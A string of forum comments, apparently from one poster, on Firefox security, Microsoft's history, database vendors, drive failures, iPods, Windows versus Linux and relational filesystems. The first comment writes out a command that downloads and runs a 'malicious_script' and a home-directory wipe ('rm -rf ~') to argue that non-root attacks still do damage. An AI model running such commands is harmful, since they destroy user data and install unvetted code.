Are you running Firefox as root?!?!
./malicious_script
`rm -rf ~`
Because, of course, you wouldn't have anything valuable stored in your home directory, would you?
Not to mention that root privledges are not required to do a lot of things... like, oh say:
wget ftp://somesite/malicious_script && chmod +x malicious_script &&
What does malicious script do? Anything it wants -- including downloading and running root kits (after figuring out exactly which ones you are vulnerable to), sending out massive spam attacks, installing a user-level trojan that allows for remote controlled DDoS, etc.
I'm really tired of people claiming that not running as root is a miracle cure. Yes, it prevents some really nasty trivial attacks, but it doesn't protect your most valuable data (e.g. -- yours) and it doesn't prevent a lot of attacks that are perfectly happy to run in non-privledged space.
I'm assuming this can only occur if you installed the virus infected material as root?
Last I checked all the major repository systems (rpm, apt, etc) require you to do so. Yup.
if you install software as root from a compromised source and don't check the md5sums
Checking the md5sums will do you absolutely no good unless you get the md5sum from a completely independant source -- which isn't true in most cases. In this case there was no independant source -- the Korean site compiles it and distributes it themselves and is not affiliated with the Mozilla foundation.
along with other precautions you put yourself at risk
My, that's nebulous. What precautions?
You could compile from source... and then you're safe as long as someone didn't trojan the CVS server (either intentionally or maliciously). Or are you going to evaluate every line of code prior to compiling it as well? Make sure to double check your compiler and libraries -- if they have a trojan injector then you'll have one hell of a time figuring that out.
No, it's not anything new. But it should be a wakeup call to a lot of people who think they're "safe" for running non-mainstream software. We're not -- we're just a smaller target. It's just a twist on "security through obscurity", and that's been proven to be inadequate countless times.
If Microsoft hadn't crushed DR-DOS, perhaps Digital Research would have come out with something better than Windows
And perhaps they wouldn't have. Given that Digital Research wasn't exactly going anywhere with graphical UIs, I rather doubt it.
DR-DOS was vastly superior to MS-DOS, no question. But it came out toward the end of DOS's lifespan.
If Microsoft hadn't crushed Netscape, perhaps Netscape's vision of network applications in the vein of XUL would have come along years earlier
Or, more likely, we'd still be stuck with the craptacular Netscape 4.x and 6.x releases that were so godawful bad that Internet Explorer was an massive improvement. And before you forget, the Netscape source code was quite closed source for some time after Netscape had ceased being a factor in the market. It wasn't until it was open sourced (due to nearly no value in the existing code base) and completely scrapped and rewritten by the Mozilla Foundation that it became better. And even then it was several years until Mozilla (or derivatives) was truely in a position to challenge IE. Yeah, I've been using Mozilla for years (and Firefox more recently since the Seamonkey suite has behaviors I despise), but up until about a year or so ago the compatability wasn't high enough to recommend it to non-geeks.
BTW, your other statement about browser dominance is deeply, deeply wrong. Prior to IE4 Netscape had a >90% market share. I very much remember despairing at the lack of Netscape on OS/2 because it meant we didn't have a browser worth a shit -- you'd have to run Netscape in a Win16 session. IBM's own browser was nifty, but late to the game.
If Microsoft hadn't included illegally copied software in DOS from Stac Electronics, perhaps Apple
Wow, you really had to stretch there didn't you. While what MS did was extremely wrong, the only company it really impacted was Stac (and it nearly destroyed them). Apple was in no position to improve its market share. IBM may have been, but OS/2 had its own raft of problems (and I ran OS/2 2.x as my sole OS for 3 years). And, again, the drive compression bit occurred just as it was becoming a non-issue. Hard drive prices started falling shortly thereafter and nowadays software based on-the-fly compression of volumes is hardly considered a significant feature.
If Microsoft hadn't conned their way into a cheap deal for Mosaic
Ah, they conned how? Kindly be explict in how they somehow got such a different deal than any other licensee.
perhaps web developers would be able to use CSS, PNG, HTML, HTTP, etc without being held back by Internet Explorer's flaws
No, they'd merely be held back by a close-sourced Netscape run by AOL instead. My, that would be so much better wouldn't it?
It's pretty hard to innovate when the biggest software company in the world is willing to break the law and use all of its resources to crush competition.
And yet it happens anyway. I despise MS's business practices as well, you've put forth an incredibly weak case for saying that it would be "further along". We would either end up with a single OS dominating the landscape again -- decent odds on OS/2 -- or we'd have a massively fragmented landscape split over incompatible processors and operating systems. We already know what happens in either case -- people get annoyed at the monopoly despite (or because of) its success, and the highly varied systems end up stagnating due to a lack of focus, difficulty of development, and reduced development resources (c.f. - x86 vs everyone else and Unix variants for the last 30 years).
I have no problems believing that if another company, run by people who weren't quite so willing to break the law, had been in the same position as Microsoft, the computer industry would be much further along.
Yes, because IBM would've been such a kinder, gentler overlord. That is who would be in control if it wasn't for MS. And MS learned deceptive business practices from the master of the game.
It mentions a compressor, but if I had the energy to operate a compressor, why wouldn't I have the energy to to run a freezer?
Because, presumably, the compressor isn't located anywhere near where you're trying to do this at. And there's no grid to move the power from point A to point B.
Consider the pressurized air cannisters as a form of battery. A hideously inefficient, highly limited form (although pressurized air may be superior to electric power in some ways, this isn't one of them).
Of course, I question that it's smarter to move around pressurized cannisters than batteries or some other form of energy transport, but I'm not in the target area either. And certainly there are some environmental advantages of compressed air over batteries of any (reasonable) type.
We're seeing the death of competition in the database market.
The commercial relational database market has been pretty dead for years now. It's essentially gone down to three players -- Oracle, Microsoft, and IBM. And IBM is almost an also-ran -- unless you're on big iron (like, oh say, an IBM mainframe or AS400) then you're probably not all that interested in DB2.
So you're basically down to Oracle and Microsoft.
If you don't want to be tied down to an Intel platform then you're down to one choice.
And before people start yapping, yes, there is MySQL and PostgreSQL. They're both good for small to medium sized projects. But if you're talking terabytes or petabytes of data -- you're going to want one of the big guys, which offer things that those don't yet.
I just wish the included Oracle tools weren't so utterly shitty. If Oracle really wanted to help its users they'd buy out Quest and include Toad and/or TORa with every freaking install.
Why does this have to be compared to a Microsoft response?
Largely because a lot of people are saying "nyah, nyah, nyah! Firefox isn't secure after all!".
Which is due a "no shit Sherlock" response. Yes, Firefox has had security vulnerabilities before, and it has one now. Only the really clueless people ever claimed that Firefox was completely secure.
Anyway, the point being is that some of these people are claiming that there's no reason to move to Firefox, that IE is just as good (or better), etc. And that is simply false and where most of these type replies are originating from.
I am purely interested in the Mozilla response
On the contrary, I am interested in the Mozilla Dev team response as it compares to the MS response. If the Mozilla team response is to bury the bug, or refuse to acknowledge it, or not patch it for weeks or months then they are no better than MS's track record. In such a case you can make a demonstrable case that switching to Firefox/Mozilla is not worth it.
To date, however, this has not been true. The Mozilla team has repeatedly resolved security threats in far less time than Microsoft has. They have not denied the existence of a threat, or attempted to hide its existence or disclaim it as Microsoft has. And this is highly relevant to both home and business users.
Firefox does not exist in a vacuum. The fact of the matter is on the vast majority of PCs you have to explicitly decide to download and install Firefox. So comparisons to the dominant browser are fair.
The DeathStar line was truly a lemon, far ahead of any "oops" from other manufacturers.
Ah... how quickly we forget.
One of the first lemon drives out there was the ST-251 drives. Nearly every single drive wound up dieing due to stiction problems. Their failure rate makes the mere 30-40% Deathstar failure rate look tame in comparison.
Western Digital, Maxtor, and Quantum have all had various drive lines that have had significant failures, although none as consistently as either the ST-251s or the Deathstars. Still, a 20% failure rate is nothing to joke about.
About the only drive maker that I haven't heard of significant failures from so far is Samsung. They've only been in the broad consumer market for a few years now, so it's not exactly fair to compare them against these others that have been around 20-30 years. Give them enough time and they'll screw up eventually.
Here's the bug (note, you can't link directly, so copy and paste, etc.): https://bugzilla.mozilla.org/show_bug.cgi?id=2285
This bug is listed under "known problems" on the Flashblock Extension site.
I've emailed the TechReport guys about this and here's the reply I received:
I believe the bug is fixed in Deer Park, as well as in Mozilla trunk.
Sadly, because of this, I often avoid the site because I don't want to take the random chance that it will crash all my FF windows/tabs. One of my favorite tech sites too.
I always thought if you paid for something, you had a right to look into what you were getting
You do. You didn't.
I thought it reasonable to check if useful features missing from previous models, and that wouldn't cost anything to add, might show up in a later model.
You still haven't pointed out any. No iPod has ever had a USB connector. The first generation may have had a Firewire connector, but the 2nd-4th gens did not -- they all had the dock connector on the bottom. Up to 4G they shipped w/ a dock-firewire connector, starting with 4G they changed to a dock-usb connector. So you can use any iPod that has a dock connector (all but 1G iPods and iPod Shuffles) with USB or Firewire as long as you have the appropriate connector.
And you claim that you couldn't find the weight of the dock, but you didn't even bother searching. Google for "ipod dock weight" provides several links (hint -- it's right about 0.6 lbs).
Your whine about file transfer just shows that you didn't even bother doing the slightest bit of research on it. And you're surprised that you got flamed?
And no, there's no Ogg support. There probably will never be any. There's absolutely no incentive for Apple to bother with it.
He goes on to describe why Windows is more expensive through purchase cost in your computer and in additional software.
Which is funny, since there are free (as in beer) alternatives to all of those. Anti-virus? AVG, Avast, AntiVir, or several others. Spyware? MS Spyware Removal Tool, SpyBot Search & Destroy, and LavaSoft AdAware are all free and are the best of breed as well. Firewall? Multiple options there too, although frankly the one that comes with SP2 is sufficient for nearly everyone.
The bit about the computer price being higher is also BS. I have a LinuxCertified laptop, but it certainly wasn't any cheaper than the alternatives. In fact, you can get a laptop w/ Windows XP bundled and re-image it with Linux for a lot cheaper than you can get anything from LinuxCertified. The LC guys do provide pretty good support -- if you happen to run one of the versions of Linux that they support (which are generally well behind what's current).
He fails to mention that Microsoft charges for support after two calls:
And, uh, how many free calls do you get for Fedora, SuSE, Ubuntu, Debian, Gentoo, or any other distribution?
And don't go off and say "the community supports it!" because there's plenty of community support sites for Windows as well. They may not offer patches, but they'll refer you to the website that does if one exists. And in the one case that I actually needed a patch from MS that wasn't publicly available I was able to get it -- without paying for support even though I was supposed to.
Yes, I run Linux at home. On my server. It works nicely. My new laptop runs Windows and works far, far better than the LinuxCertified one it replaced. Virtually identical hardware (the LC one had multiple hardware failures) -- but different OS. It's nice to have an OS that is capable of "esoteric" things like ACPI. And can actually run stuff like WillMaker, tax software, etc. And I don't have to fiddle endlessly to get the wireless NIC working (yes, I got a supported one. Yes, it's still a PITA).
Yes, 90% of what I need to run on the laptop could run under Linux. But 100% of it can be done in Windows... and with less headaches.
That is really un-database like though, and very unfriendly to the user. If I null out a bunch of fields for a row I imagine I would almost never want a case where that would delete the row.
You haven't worked with many databases then.
The one we use does exactly that -- set the value to NA (similar to NULL, but not at all the same, since an NA value implies a default which is not necessarily 0 or "no value") and the row is removed from the database. Some relational models do the same thing, or force you to do it -- go ahead, try and set a primary key column to NULL. Your only choice is to delete the row entirely or do something silly like set it to a sentinel value (presuming your key is across multiple columns).
You can't have it both ways - does a set of data get removed when all user-defined meta-data gets removed or not?
You can have it both ways -- the metadata he referred to is not user-defined! It's system defined and you could certainly differentiate between the two. I'm not sure if this would be a good idea or not; I haven't done research into what ReiserFS and WinFS do in these situations.
If not then how is a user really going to know when it's safe to "totally destroy" a file? Perhaps it was germae to some other keyword they had forgotten.
Uh... you're not from a database background are you? The relevant concept here is foreign key. There's a price to be paid for using them, but they certainly prevent the problem you're describing.
If I copy a whole directory onto a CD I know that every file I put there is on that CD. If I ask to backup all files for Project Fred I cannot *know* by keyword alone that all the files are really there except through blind faith that I have properly tagged all files for that project.
I fail to see the difference between making sure that you put all the right files in the directory and making sure that you tagged all the files correctly. They are analogous operations. Just because you're more familiar with A than B does not mean that B is less capable -- just that you're not familiar with it.
Your entire line of questions regarding backup falls into this category. Backing up a RDBMS is hardly a new thing.
The difference is saying a files default location is really id "4784874GA" vs. "~/Pictures". Think I'll take the latter thanks!
And clearly databases are doomed to failure for the exact same reasons. Ever taken a look at the raw data in an Oracle data file? Or MySQL? Or any other relational database? How about some non-relational ones? Make any sense to you? No? Well then obviously it's useless.
For that matter, when's the last time you read any file system other than FAT in raw mode? Traced through the core structures of Ext2 or NTFS lately? Not so human readable.
We routinely put overlays on top of data in order to make it more useful to humans. And a relational file system is just another way of doing it.
And furthermore as I said, you can get all of the benefits you were looking for with the way filesystems are being enhanced.
Shrug. You go debate Hans Reiser then. Clearly he's clueless about why a relational file system is superior to a hierarchical one. There are some areas where a hierarchical FS + extensions will lag behind a relational one. The inverse is also true. The question becomes -- which areas are more important?
I don't know the answer to that, and neither do you. But your complaints about metadata and organization are about as valid as people complaining that they can't use buggy whips to make their new fangled automobiles go faster.
Try to name a product in the last 15 years that you can't change it yourself
Cordless shaver. Electric toothbrush. Some small vacuums.
I had to replace my shaver (Norelco) because it eventually stopped working at all after two years -- even with the cord plugged in it simply wouldn't run (it would if the blade wasn't attached, so power flowed, but not enough of it). My cordless toothbrush (Sonicare), after about 3 years, is experiencing drastically reduced cycle times -- I can brush 2, maybe 3 times now before it dies mid-brushing. Previously I could go a week or two without recharging. I've trashed one cordless vacuum cleaner for the same reason.
Of all of those the only one I've been peeved at is the shaver -- the battery did not last nearly as long as expected (it ceased being useful w/o the cord after about 15 months). The others... well, I understand battery chemistry enough to get what's going on. Sucks, but that's how it is.
Apple apparantly mis-represented the life expectancy of the first few generations of iPod batteries, and then charged an arm an a leg to replace them. That's why they got sued.